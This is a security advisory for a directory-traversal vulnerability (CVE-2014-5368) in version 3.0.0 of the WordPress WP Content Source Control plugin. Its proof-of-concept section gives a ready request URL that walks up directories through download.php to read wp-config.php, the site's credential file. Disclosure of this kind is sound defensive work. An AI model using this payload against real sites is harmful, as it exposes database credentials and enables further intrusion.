WordPress WP Content Source Control Plugin 'download.php' Directory Traversal Vulnerability

BID:69278

Info

WordPress WP Content Source Control Plugin 'download.php' Directory Traversal Vulnerability

Bugtraq ID: 69278
Class: Input Validation Error
CVE: CVE-2014-5368
Remote: Yes
Local: No
Published: Aug 19 2014 12:00AM
Updated: Aug 21 2014 12:12AM
Credit: Henri Salo
Vulnerable:
Not Vulnerable:

Discussion

WordPress WP Content Source Control Plugin 'download.php' Directory Traversal Vulnerability

WP Content Source Control plugin for WordPress is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.

WP Content Source Control 3.0.0 is vulnerable; other versions may also be affected.

Exploit / POC

WordPress WP Content Source Control Plugin 'download.php' Directory Traversal Vulnerability

The following example data is available:

www.example.com/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php

Solution / Fix

WordPress WP Content Source Control Plugin 'download.php' Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].

References

WordPress WP Content Source Control Plugin 'download.php' Directory Traversal Vulnerability

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